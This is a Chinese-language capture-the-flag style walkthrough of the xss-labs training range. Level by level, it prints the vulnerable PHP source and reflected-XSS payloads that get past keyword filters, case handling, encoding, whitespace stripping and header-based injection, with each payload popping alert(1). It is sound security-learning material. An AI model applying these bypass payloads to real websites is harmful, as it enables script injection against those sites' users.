Xss-labs闯关总结
文章目錄
- 前言:
- Level 1 無過濾機制
- 查看后臺源碼:
- 通關代碼:
- Level 2 閉合標簽
- 查看后臺源碼:
- 通關代碼:
- Level 3 單引號閉合 + 添加事件
- 查看后臺源碼:
- 通關代碼:
- Level 4 雙引號閉合 + 添加事件
- 查看后臺源碼:
- 通關代碼:
- Level 5 新建標簽
- 查看后臺源碼:
- 通關代碼:
- Level 6 大小寫繞過
- 查看后臺源碼:
- 通關代碼:
- Level 7 雙寫繞過
- 查看后臺源碼:
- 通關代碼:
- Level 8 編碼繞過
- 查看后臺源碼:
- 通關代碼:
- Level 9 檢測關鍵字
- 查看后臺源碼:
- 通關代碼:
- Level 10 隱藏信息
- 查看后臺源碼:
- 通關代碼:
- Level 11 Referer信息
- 查看后臺源碼:
- 通關代碼:
- Level 12 user-agent信息
- 查看后臺源碼:
- 通關代碼:
- Level 13 cookie 信息
- 查看后臺源碼:
- 通關代碼:
- Level 14 exif xss
- Level 15 ng-include 屬性
- 查看后臺源碼:
- 通關代碼:
- Level 16 空格實體轉義
- 查看后臺源碼:
- 通關代碼:
- Level 17 參數拼接
- 查看后臺源碼:
- 通關代碼:
- Level 18 參數拼接
- 查看后臺源碼:
- 通關代碼:
- Level 19 — 20 Flash xss
前言:
時間過的真快,一轉眼大一就過去了,趁著這個暑假好好補補課,通過 xss-labs 靶場練習一下 XSS 注入,關于 XSS 的介紹可以看這篇文章:文章鏈接
Level 1 無過濾機制
來到題目頁面,發現并沒有輸入框,可以看到在url欄中傳了一個參數,所以在該參數處進行嘗試傳入其它參數
發現頁面有所變化,在 “歡迎用戶” 后有一個顯示位能對傳入的參數進行輸出,在下方payload長度處也有字符串長度的統計,嘗試構造腳本 <script>alert(1)</script>
成功通過。
查看后臺源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; } </script> <title>歡迎來到level1</title> </head> <body> <h1 align=center>歡迎來到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>根據源碼可以看出,程序將用戶以GET方式提交的參數name,沒有做任何防御措施就直接顯示在HTML頁面中,因此存在反射型的XSS漏洞,直接將代碼<script>alert(1)</script>傳入name變量中即可觸發漏洞。
通關代碼:
?name=<script>alert(1)</script>Level 2 閉合標簽
直接輸入上一關的 payload,發現直接被原樣輸出了
右鍵查看頁面源碼:
可以看到在<h2>標簽中的惡意代碼被轉義了,盲猜在服務器端用 htmlspecialchars() 函數對 keyword 參數的值進行了處理。
接著可以看到插入到 value 參數中的惡意代碼并沒有被轉義而是直接原樣返回的,那么就從這里入手,要想程序在這里執行彈窗代碼,只需要將屬性的標簽閉合就可以了,輸入 "><script>alert(1)</script>
補充:htmlspecialchars函數
成功通過。
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>可以看到在<h2>處使用了 htmlspecialchars() 函數進行過濾,但是在submit value屬性處沒有過濾,從而導致XSS漏洞。
通關代碼:
?keyword="><script>alert(1)</script>Level 3 單引號閉合 + 添加事件
來到Leval 3,還是先嘗試基本的彈窗代碼 <script>alert(1)</script>
并沒有成功彈窗,右鍵看一下網頁源碼
發現這兩處都將 < , > 轉義了,猜測服務器端在這兩處都用 htmlspecialchars() 函數進行了處理,那么怎樣才能成功執行彈窗的代碼呢?
這時候我們就要想辦法繞開這些標簽去使用新標簽,瀏覽器中有一些事件可以執行js代碼,這里使用 onclick 事件,觀察源代碼為單引號閉合,把value給閉合掉,構造payload:'onclick='javascript:alert(1)'
補充: 事件介紹
可以看到,在提交之后,沒有立刻彈出,這里還需要點擊一下文本框,讓事件觸發。
成功通過。
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>可以看到服務器端在頁面顯示的位置對參數值都用 htmlspecialchars() 函數進行了處理。
通關代碼:
?keyword='οnclick='javascript:alert(1)'Level 4 雙引號閉合 + 添加事件
老樣子嘗試彈窗 <script>alert(1)</script>
發現上方顯示位并沒有什么特殊的變化,但是下方搜索框中的 < , > 標簽都被過濾掉了.
右鍵查看網頁源碼:
對上方顯示位仍猜測是 htmlspecialchars 函數處理,下方顯示位應該是用函數替換掉了,并且下方的閉合標簽為雙引號。那么仍使用上關的思路,用事件觸發,構造payload:" onclick='javascript:alert(1)'
成功通過。
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>果然,第一個顯示位使用了 htmlspecialchars 函數處理,第二個顯示位經過兩個 str_replace() 函數對尖括號進行了過濾,但是不全面,從而存在XSS安全隱患。
通關代碼:
?keyword="onclick='javascript:alert(1)'Level 5 新建標簽
同樣的套路,先嘗試 <script>alert(1)</script>
彈窗失敗,上方顯示位沒什么變化,下方搜索框中的第一個 <script> 變成了 <scr_ipt>
右鍵查看源碼:
上方顯示位應該還是 htmlspecialchars 處理,搜索框中的 payload 可能是匹配到關鍵字進行的替代。
那么用事件來試一下,閉合標簽仍是雙引號,輸入代碼:"onclick='javascript:alert(1)'
彈窗也失敗了,右鍵查看源碼
發現on變成了o_n ,猜測后臺對on進行了過濾,替換成了 o_n,測試一下,輸入on
果然,那這樣帶 on 的事件就不能用了。
嘗試使用大小寫繞過,測試代碼:On<Script>
繞過失敗,全變成了小寫,這里應該還用了轉小寫的函數。
此處既然無法通過 <script> 標簽和事件來執行js代碼的話,那么可以換一個標簽來執行js代碼,使用新標簽要先閉合<input>標簽,構造代碼:"><a href=javascript:alert(1)>xss</a>
補充:javascript偽協議
點一下那個鏈接就行了,右鍵看一下源碼
可以看到鏈接成功嵌入!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>確實和我們猜的一樣,分別對 on 和<script>進行了過濾,也用 strtolower函數做了大小寫過濾。🆗,下一關!
通關代碼:
?keyword="><a href=javascript:alert(1)>xss</a>Level 6 大小寫繞過
接著使用前面幾關的注入方式測試,發現都不行
發現這里的 script、onclick、href 都被過濾了。不知道是不是存在大小寫過濾,嘗試下大小寫繞過,可以看到閉合符合是雙引號,構造payload:
"ONclick='javascript:alert(1)'發現可以!
同理 "><scRipt>alert(1)</scRipt>、 "><a hREF=javascript:alert(1)>xss</a> 也可以。
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>可以看出系統對 <script、on、src、data、href 進行了過濾,但是沒有對大寫字母進行修改,所以我們可以使用 “大小寫繞過” 進行注入,🆗 Next !
通關代碼:
?keyword="ONclick='javascript:alert(1)'Level 7 雙寫繞過
先用 <script>alert(1)</script> 測試
右鍵源碼
發現 script 直接被過濾了,嘗試大小寫繞過也不行,再嘗試
和
"><a href=javascript:alert(1)>xss</a>
發現 on href 也被過濾了,嘗試大小寫也不行。但是道高一尺,魔高一丈,有人想出了雙寫繞過,哈哈哈。
構造命令:
"><scrscriptipt>alert(1)</scrscriptipt>
繞過成功!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>可以看到參數做了小寫轉義,關鍵字直接被刪去,上面輸出位使用了 hemlspecialchars 轉義。好的,下一關!(≧?≦)ノ
通關代碼:
?keyword="><scrscriptipt>alert(1)</scrscriptipt>Level 8 編碼繞過
老套路,嘗試代碼 <script>alert(1)</script>
右鍵觀察源碼
可以看到輸入的內容被插在了a標簽的 href 屬性值中并且 script 被轉義成了 scr_ipt,想到使用 javascript 偽協議,嘗試代碼:
可以看到這里 script 被轉義,嘗試大寫繞過,發現不行,既然這樣,我們試試編碼,看能否繞過。
程序將 script 中的 ri 變成了 r_i,所以對 r 和 i 編碼試試(也可以將script全編碼了),將 ri 轉換為 html 實體編碼(16進制或10進制,還可以使用url編碼等其它網頁語言)編碼工具
構造payload:
點擊鏈接
通關成功!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?>可以看到敏感字符已經被加下劃線過濾;雙引號也被過濾,所以說也沒有辦法給屬性值閉合;還有小寫處理,也不能大小寫要過;沒有敏感字符去除,不能雙寫繞過。
通關代碼:
javascript:alert(1)Level 9 檢測關鍵字
上來看到和上關一樣讓輸入鏈接,直接輸入上題代碼javascript:alert(1),發現不行。
右鍵查看源碼:
發現 href 處只有一串 “您的鏈接不合法,有沒有!”,到這里沒啥頭緒了,只能去看后臺源碼了。
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) {echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';} else {echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?>發現和上關相比多了個strpos函數,這函數的意思是輸入的字符串里面必須要有http://字符,我們給他加上,然后再注釋掉,嘗試
構造命令:
javascript:alert(1)//http://
通關成功!🆗,下關。
通關代碼:
javascript:alert(1)//http://Level 10 隱藏信息
來到這關發現輸入框沒了,只能在url欄輸入,先用經典代碼測試一下<script>alert(1)</script>:
顯然不行,右鍵查看源碼:
可以看到,顯示位應該還是使用 htmlspecialchar 函數處理了,并且還看到了頁面隱藏的三個輸入框,現在不僅能給keyword傳參,還能給三個input傳參。
嘗試給其余三個參數傳參
右鍵查看源碼:
發現只有 t_sort 接受了我們傳的參數(雙引號閉合),那也就是說可以從 t_sort 下手了,同時要想使用這個標簽需要注釋掉后面原有的 hidden 類型,把它改為其它類型,如 button 或 type 類型。
先測試一下,構造payload:
?keyword=1&t_sort=1" <script>alert(1)</script> type=button >//還是不行,右鍵查看源碼發現過濾了< >那就使用 onclick 事件試一下。
構造payload(注釋符可加可不加):
點一下按鈕,成功過關!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>觀察代碼,如我們料想的那樣,str 被 htmlspecialchars 過濾了,也只有 t_sort 接受參數值,對 t_sort 的過濾只有左右尖括號,所以注入顯得很容易。
看來作者目的是提醒我們注意隱藏框以及假輸入框的存在。
通關代碼:
?keyword=1&t_sort=1" onclick='javascript:alert(1)' type=button >//Level 11 Referer信息
看起來與上一關一樣,直接右鍵查看源碼:
可以發現這關隱藏了四個輸入框,值得注意的是,第四個隱藏輸入框 t_ref 已經有了值,并且可以看出是第十關我們輸入的payload。
嘗試給 keyword 賦值測試 <script>alert(1)</script>
顯然不行,右鍵源碼顯示我們輸入的代碼應該是被 htmlspecialchars 函數轉義了,那么再測試一下這四個隱藏的輸入框哪個能傳參。
可以看到又只有 t_sort 被賦值成功,同時 t_ref 的值沒有了,嘗試對 t_sort 的屬性進行閉合。
發現 “引號” 和 “尖括號” 都被轉義了,猜測還是 htmlspecialchars 函數過濾了 。如果雙引號不能用,也就不能閉合標簽去創造自己的事件,所以要另外想其他的辦法。
前面我們還記得 t_ref 是第十關的 payload 網址,而 ref 又可能是 http 頭中的 referer 屬性,我們且可嘗試一下抓包進行注入。
修改 referer 屬性,傳入值為1
右鍵源碼可以看到,t_ref 的值變為1了,那我們就可以從這入手。嘗試閉合value值并創建自己的事件,構造payload:
放包,點擊按鈕即可過關!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>可以看到 keyword 進行了 htmlspecialchars 處理,t_sort 參數也被 htmlspecialchars 處理再次賦給value,接受 HTTP_Referer 頭部參數進行了除尖括號處理,只要沒有特殊字符轉義,沒有雙引號去除,那么這個標簽的屬性就可能是危險的。
通關代碼:
Referer:1"onclick='javascript:alert(1)' type=button >//Level 12 user-agent信息
直接右鍵看源碼吧
又發現四個隱藏框,其中第四個有點熟悉,t_ua 聯想到 HTTP 請求頭部的 User-Agent,猜測上一題是同類型的。
嘗試構造paypoad:
User-Agent:1" onclick='javascript:alert(1)' type=button > //抓包,修改 User-Agent 的值:
放包,點擊按鈕即可通關!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?>換湯不換藥,意在讓我們了解不同的注入位置,仍舊像上一關那樣分析就行了。
通關代碼:
User-Agent:1" onclick='javascript:alert(1)' type=button > //Level 13 cookie 信息
右鍵查看源碼:
看到參數 t_cook,猜測可能是 cookie,抓包,仍舊是相同的方式,在 cookie 處進行測試。
給 user 賦 cookie 值,構造payload(這次試試text):
點擊輸入框,即可過關!
查看后臺源碼:
<?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?>可以看到設置了一個cookie,user : call me maybe?,keyword 和 t_sort 都經過 htmlspecialchars 函數處理,cookie 只有標簽去除,沒有其他過濾,一樣的注入,同上。
通關代碼:
Cookie: user=1" onclick='javascript:alert(1)' type=text > //Level 14 exif xss
這關環境好像有問題,做不了。查了一下知道這題是 exif xss 什么的
想知道這關怎么做的可以看這篇文章:參考文章
Level 15 ng-include 屬性
右鍵查看源碼:
看到 src 的參數在這顯示了,那就在這測試一下,測試 payload:<script>alert(1)</script>
特殊字符被轉義了,估計沒戲了,又看到 ng-include,不知道是啥,去百度查了一下,貌似跟 php 中的 include 函數類似,是將一個文件給包含進來。
ng-include的用法:
ng-include 指令用于包含外部的 HTML文件。
包含的內容將作為指定元素的子節點。
ng-include 屬性的值可以是一個表達式,返回一個文件名。
默認情況下,包含的文件需要包含在同一個域名下。
值得注意的是:
如果單純指定地址,必須要加引號
加載外部html,script標簽中的內容不執行
加載外部html中含有style標簽樣式可以識別
可以包含同一域名的 html 文件,那也就是說可以包含之前做過的有xss漏洞的文件,但是不能執行script中的代碼,那就用新建標簽吧
嘗試構造代碼:
?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'
點擊鏈接即可通關!或者使用下面這個更簡單。
查看后臺源碼:
<html ng-app> <head><meta charset="utf-8"><script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level16.php?keyword=test"; } </script> <title>歡迎來到level15</title> </head> <h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>看到src參數經過了函數處理。
通關代碼:
?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'or
?src='level1.php?name=<img src=1 onerror=alert(1)>'Level 16 空格實體轉義
輸入測試代碼 <script>alert(1)</script>
發現 script 沒了,右鍵看下源碼:
發現 script 和 “/” 被替換成了 (空白符),那嘗試一下不帶 script 和 “/”的payload
并不行,右鍵源碼:
emm… 貌似空格也被替換了,好吧,只能想辦法使用其它的來代替空格了,想到在html里,換行是可以代替空格的。
使用URL編碼將回車符轉換為%0d(或換行符%0a)替代即可。
<img%0dsrc=1%0donerror=alert(1)>
成功彈窗!
查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?>對關鍵字進行了空白實體替代。
通關代碼:
?keyword=<img%0dsrc=1%0donerror=alert(1)>Level 17 參數拼接
這題很簡潔,圖片都沒有,點擊鏈接也確實直接進入下一關了。
右鍵查看源碼:
從 url 框看到是通過 arg01 和 arg02 兩個參數進行傳參,傳參之后,對兩個參數進行了拼接,那么是不是可以直接使用事件來觸發呢?
構造payload(注意空格):
?arg01= onmouseover&arg02=alert(1)并沒反應,右鍵查看源碼:
到這沒啥思路了,查了一下,知道這里有個 swf 文件沒有被加載出來。
swf文件:即shockwave flash文件,能被flash player打開
firefox加載出不來,換成Google,雖然圖片還是出不來,但成功彈窗了!
還可以構造這樣的payload:
注意:由于本關加載不出圖片無法點擊,所以用不了 onclick 事件。
查看后臺源碼:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>并沒有什么的過濾,直接構造事件。
通關代碼:
?arg01= onmouseover&arg02=alert(1)or
?arg01=a&arg02=b onmouseover=alert(1)Level 18 參數拼接
好家伙,更干凈了,看到網頁源碼后,又有個swf,好吧,還是換google吧。
看起來和上一關一樣,直接輸入上題代碼
woc,直接彈窗了,有點疑惑。
再測試一下這個,發現也行。
查看后臺源碼:
<?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>看到和上關比,src多了雙引號,不知道這題是啥意思。。。
通關代碼:
同上
Level 19 — 20 Flash xss
這兩題太難了,暫時先擱著吧 (→_→)
參考文章:
https://www.cnblogs.com/ruoli-s/p/14285233.html
https://blog.csdn.net/qq_41734243/article/details/105991109
https://404sprint.github.io/2020/10/28/xss-labs/
https://cloud.tencent.com/developer/article/1665021
總結
以上是生活随笔為你收集整理的Xss-labs闯关总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Sqli-labs第一题详解
- 下一篇: Bugku密码学(一)